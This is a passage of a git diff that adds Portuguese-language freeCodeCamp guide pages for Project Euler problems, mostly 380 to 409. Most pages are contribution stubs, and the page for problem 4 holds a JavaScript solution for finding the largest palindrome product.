+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-380-amazing-mazes/index.md
@@ -0,0 +1,9 @@
+---
+title: Amazing Mazes!
+localeTitle: Mazões surpreendentes!
+---
+## Problema 380: Mazes incríveis!
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-380-amazing-mazes/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-381-prime-k-factorial/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-381-prime-k-factorial/index.md
new file mode 100644
index 0000000000..8e411d7d17
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-381-prime-k-factorial/index.md
@@ -0,0 +1,9 @@
+---
+title: (prime-k) factorial
+localeTitle: (prime-k) fatorial
+---
+## Problema 381: fatorial (primo-k)
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-381-prime-k-factorial/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-382-generating-polygons/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-382-generating-polygons/index.md
new file mode 100644
index 0000000000..8d4553c872
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-382-generating-polygons/index.md
@@ -0,0 +1,9 @@
+---
+title: Generating polygons
+localeTitle: Gerando polígonos
+---
+## Problema 382: Gerando polígonos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-382-generating-polygons/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-383-divisibility-comparison-between-factorials/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-383-divisibility-comparison-between-factorials/index.md
new file mode 100644
index 0000000000..c74b21581d
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-383-divisibility-comparison-between-factorials/index.md
@@ -0,0 +1,9 @@
+---
+title: Divisibility comparison between factorials
+localeTitle: Comparação de divisibilidade entre fatoriais
+---
+## Problema 383: Comparação de Divisibilidade entre Factorials
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-383-divisibility-comparison-between-factorials/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-384-rudin-shapiro-sequence/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-384-rudin-shapiro-sequence/index.md
new file mode 100644
index 0000000000..ee9d90597a
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-384-rudin-shapiro-sequence/index.md
@@ -0,0 +1,9 @@
+---
+title: Rudin-Shapiro sequence
+localeTitle: Sequência de Rudin-Shapiro
+---
+## Problema 384: sequência de Rudin-Shapiro
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-384-rudin-shapiro-sequence/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-385-ellipses-inside-triangles/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-385-ellipses-inside-triangles/index.md
new file mode 100644
index 0000000000..1e4cdfa910
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-385-ellipses-inside-triangles/index.md
@@ -0,0 +1,9 @@
+---
+title: Ellipses inside triangles
+localeTitle: Elipses, dentro, triângulos
+---
+## Problema 385: Elipses dentro de triângulos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-385-ellipses-inside-triangles/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-386-maximum-length-of-an-antichain/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-386-maximum-length-of-an-antichain/index.md
new file mode 100644
index 0000000000..1ec73ab9d3
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-386-maximum-length-of-an-antichain/index.md
@@ -0,0 +1,9 @@
+---
+title: Maximum length of an antichain
+localeTitle: Comprimento máximo de um antichain
+---
+## Problema 386: Comprimento máximo de um antichain
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-386-maximum-length-of-an-antichain/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-387-harshad-numbers/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-387-harshad-numbers/index.md
new file mode 100644
index 0000000000..70f27ed665
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-387-harshad-numbers/index.md
@@ -0,0 +1,9 @@
+---
+title: Harshad Numbers
+localeTitle: Números de Harshad
+---
+## Problema 387: Números Harshad
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-387-harshad-numbers/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-388-distinct-lines/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-388-distinct-lines/index.md
new file mode 100644
index 0000000000..da6876c69a
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-388-distinct-lines/index.md
@@ -0,0 +1,9 @@
+---
+title: Distinct Lines
+localeTitle: Linhas Distintas
+---
+## Problema 388: Linhas Distintas
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-388-distinct-lines/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-389-platonic-dice/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-389-platonic-dice/index.md
new file mode 100644
index 0000000000..606613db2c
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-389-platonic-dice/index.md
@@ -0,0 +1,9 @@
+---
+title: Platonic Dice
+localeTitle: Dados platônicos
+---
+## Problema 389: Dados Platônicos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-389-platonic-dice/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-39-integer-right-triangles/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-39-integer-right-triangles/index.md
new file mode 100644
index 0000000000..963d95caa6
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-39-integer-right-triangles/index.md
@@ -0,0 +1,9 @@
+---
+title: Integer right triangles
+localeTitle: Triângulos retos inteiros
+---
+## Problema 39: Triângulos retos inteiros
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-39-integer-right-triangles/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-390-triangles-with-non-rational-sides-and-integral-area/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-390-triangles-with-non-rational-sides-and-integral-area/index.md
new file mode 100644
index 0000000000..b0f0f19c46
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-390-triangles-with-non-rational-sides-and-integral-area/index.md
@@ -0,0 +1,9 @@
+---
+title: Triangles with non rational sides and integral area
+localeTitle: Triângulos com lados não racionais e área integral
+---
+## Problema 390: Triângulos com lados não racionais e área integral
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-390-triangles-with-non-rational-sides-and-integral-area/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-391-hopping-game/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-391-hopping-game/index.md
new file mode 100644
index 0000000000..8e3ae94954
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-391-hopping-game/index.md
@@ -0,0 +1,9 @@
+---
+title: Hopping Game
+localeTitle: Jogo hopping
+---
+## Problema 391: Jogo Saltitante
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-391-hopping-game/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-392-enmeshed-unit-circle/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-392-enmeshed-unit-circle/index.md
new file mode 100644
index 0000000000..95acf1083c
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-392-enmeshed-unit-circle/index.md
@@ -0,0 +1,9 @@
+---
+title: Enmeshed unit circle
+localeTitle: Círculo unitário Enmeshed
+---
+## Problema 392: Círculo Unificado de Unidade
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-392-enmeshed-unit-circle/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-393-migrating-ants/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-393-migrating-ants/index.md
new file mode 100644
index 0000000000..db6fa179fc
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-393-migrating-ants/index.md
@@ -0,0 +1,9 @@
+---
+title: Migrating ants
+localeTitle: Migrando formigas
+---
+## Problema 393: Migrando Formigas
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-393-migrating-ants/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-394-eating-pie/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-394-eating-pie/index.md
new file mode 100644
index 0000000000..17a1472358
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-394-eating-pie/index.md
@@ -0,0 +1,9 @@
+---
+title: Eating pie
+localeTitle: Comendo torta
+---
+## Problema 394: Comendo torta
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-394-eating-pie/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-395-pythagorean-tree/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-395-pythagorean-tree/index.md
new file mode 100644
index 0000000000..e32185801b
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-395-pythagorean-tree/index.md
@@ -0,0 +1,9 @@
+---
+title: Pythagorean tree
+localeTitle: Árvore pitagórica
+---
+## Problema 395: Árvore Pitagórica
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-395-pythagorean-tree/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-396-weak-goodstein-sequence/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-396-weak-goodstein-sequence/index.md
new file mode 100644
index 0000000000..dfb3c5ac15
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-396-weak-goodstein-sequence/index.md
@@ -0,0 +1,9 @@
+---
+title: Weak Goodstein sequence
+localeTitle: Sequência Fraca de Goodstein
+---
+## Problema 396: Sequência Fraca de Goodstein
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-396-weak-goodstein-sequence/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-397-triangle-on-parabola/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-397-triangle-on-parabola/index.md
new file mode 100644
index 0000000000..81f1287dd5
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-397-triangle-on-parabola/index.md
@@ -0,0 +1,9 @@
+---
+title: Triangle on parabola
+localeTitle: Triângulo na parábola
+---
+## Problema 397: Triângulo na parábola
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-397-triangle-on-parabola/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-398-cutting-rope/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-398-cutting-rope/index.md
new file mode 100644
index 0000000000..a26a052699
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-398-cutting-rope/index.md
@@ -0,0 +1,9 @@
+---
+title: Cutting rope
+localeTitle: Corda de corte
+---
+## Problema 398: Corda Cortante
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-398-cutting-rope/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-399-squarefree-fibonacci-numbers/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-399-squarefree-fibonacci-numbers/index.md
new file mode 100644
index 0000000000..1bbf364006
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-399-squarefree-fibonacci-numbers/index.md
@@ -0,0 +1,9 @@
+---
+title: Squarefree Fibonacci Numbers
+localeTitle: Números de Fibonacci Squarefree
+---
+## Problema 399: Números de Fibonacci Squarefree
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-399-squarefree-fibonacci-numbers/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-4-largest-palindrome-product/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-4-largest-palindrome-product/index.md
new file mode 100644
index 0000000000..ff12db982d
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-4-largest-palindrome-product/index.md
@@ -0,0 +1,57 @@
+---
+title: Largest palindrome product
+localeTitle: Maior produto de palíndromo
+---
+## Problema 4: Maior produto de palíndromo
+
+### Método:
+
+*   Um número palíndromo é aquele que quando invertido lê o mesmo.
+*   O maior número obtido a partir do produto de dois números de 3 dígitos é `999 * 999` , portanto, podemos fazer um loop que começa por produzir o maior número e verificar se esse número é palíndromo ou não.
+
+### Solução:
+
+```js
+function largestPalindromeProduct(n) { 
+ 
+  //To get the maximum n digit number, + operator type castes String to Number type 
+  let max = +[...Array(n)].reduce((a, c) => a+=9, ""); 
+ 
+  //Next we get minimum n digit number from the max 
+  let min = (max+1)/10; 
+ 
+  //To store the result 
+  let res = []; 
+ 
+  //Starting the loop from max to min 
+  for (let i = max; i >= min; i--){ 
+ 
+    //Another loop 
+    for (let j =  max; j >= min; j--){ 
+ 
+      //Getting the product 
+      let num = i*j; 
+ 
+      //Reversing the number 
+      let numReverse = [...String(num)].reverse().join(''); 
+ 
+      //Checking for palindromic number 
+      if (num == numReverse) { 
+ 
+        //Pushing the number into array and breaking the loop for efficiency 
+        res.push(num); 
+        break; 
+      } 
+    } 
+  } 
+ 
+  // Returning the maximum of the result array 
+  return Math.max(...res); 
+ } 
+```
+
+*   [Executar código](https://repl.it/@ezioda004/Problem-4-Largest-palindrome-product)
+
+### Referências:
+
+*   [Wikipedia](https://en.wikipedia.org/wiki/Palindromic_number)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-40-champernownes-constant/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-40-champernownes-constant/index.md
new file mode 100644
index 0000000000..e3ad8685af
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-40-champernownes-constant/index.md
@@ -0,0 +1,9 @@
+---
+title: Champernowne's constant
+localeTitle: Constante de Champernowne
+---
+## Problema 40: constante de Champernowne
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-40-champernownes-constant/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-400-fibonacci-tree-game/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-400-fibonacci-tree-game/index.md
new file mode 100644
index 0000000000..2468dad07b
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-400-fibonacci-tree-game/index.md
@@ -0,0 +1,9 @@
+---
+title: Fibonacci tree game
+localeTitle: Jogo da árvore de Fibonacci
+---
+## Problema 400: Jogo da árvore de Fibonacci
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-400-fibonacci-tree-game/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-401-sum-of-squares-of-divisors/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-401-sum-of-squares-of-divisors/index.md
new file mode 100644
index 0000000000..bd72025fbb
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-401-sum-of-squares-of-divisors/index.md
@@ -0,0 +1,9 @@
+---
+title: Sum of squares of divisors
+localeTitle: Soma dos quadrados dos divisores
+---
+## Problema 401: Soma dos quadrados dos divisores
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-401-sum-of-squares-of-divisors/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-402-integer-valued-polynomials/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-402-integer-valued-polynomials/index.md
new file mode 100644
index 0000000000..db23f178ea
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-402-integer-valued-polynomials/index.md
@@ -0,0 +1,9 @@
+---
+title: Integer-valued polynomials
+localeTitle: Polinômios com valores inteiros
+---
+## Problema 402: polinômios de valor inteiro
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-402-integer-valued-polynomials/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-403-lattice-points-enclosed-by-parabola-and-line/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-403-lattice-points-enclosed-by-parabola-and-line/index.md
new file mode 100644
index 0000000000..768f4d5600
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-403-lattice-points-enclosed-by-parabola-and-line/index.md
@@ -0,0 +1,9 @@
+---
+title: Lattice points enclosed by parabola and line
+localeTitle: Pontos de treliça fechados por parábola e linha
+---
+## Problema 403: Pontos de treliça fechados por parábola e linha
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-403-lattice-points-enclosed-by-parabola-and-line/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-404-crisscross-ellipses/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-404-crisscross-ellipses/index.md
new file mode 100644
index 0000000000..a7171a3abe
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-404-crisscross-ellipses/index.md
@@ -0,0 +1,9 @@
+---
+title: Crisscross Ellipses
+localeTitle: Elipses Cruzadas
+---
+## Problema 404: Elipses Cruzadas
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-404-crisscross-ellipses/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-405-a-rectangular-tiling/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-405-a-rectangular-tiling/index.md
new file mode 100644
index 0000000000..c8f4b8268c
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-405-a-rectangular-tiling/index.md
@@ -0,0 +1,9 @@
+---
+title: A rectangular tiling
+localeTitle: Uma telha retangular
+---
+## Problema 405: Uma telha retangular
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-405-a-rectangular-tiling/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-406-guessing-game/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-406-guessing-game/index.md
new file mode 100644
index 0000000000..d19e80284b
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-406-guessing-game/index.md
@@ -0,0 +1,9 @@
+---
+title: Guessing Game
+localeTitle: Jogo de adivinhação
+---
+## Problema 406: Jogo de Adivinhação
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-406-guessing-game/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-407-idempotents/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-407-idempotents/index.md
new file mode 100644
index 0000000000..f6d556bd68
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-407-idempotents/index.md
@@ -0,0 +1,9 @@
+---
+title: Idempotents
+localeTitle: Idempotents
+---
+## Problema 407: Idempotents
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-407-idempotents/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-408-admissible-paths-through-a-grid/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-408-admissible-paths-through-a-grid/index.md
new file mode 100644
index 0000000000..05ab30f223
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-408-admissible-paths-through-a-grid/index.md
@@ -0,0 +1,9 @@
+---
+title: Admissible paths through a grid
+localeTitle: Caminhos admissíveis através de uma grade
+---
+## Problema 408: caminhos admissíveis através de uma grade
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-408-admissible-paths-through-a-grid/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-409-nim-extreme/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-409-nim-extreme/index.md
new file mode 100644
index 0000000000..625e8ae595
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-409-nim-extreme/index.md
@@ -0,0 +1,9 @@
+---
+title: Nim Extreme
+localeTitle: Nim Extreme
+---
+## Problema 409: Nim Extreme
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-409-nim-extreme/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-41-pandigital-prime/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-41-pandigital-prime/index.md
new file mode 100644
index 0000000000..e95197b8b9
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-41-pandigital-prime/index.md
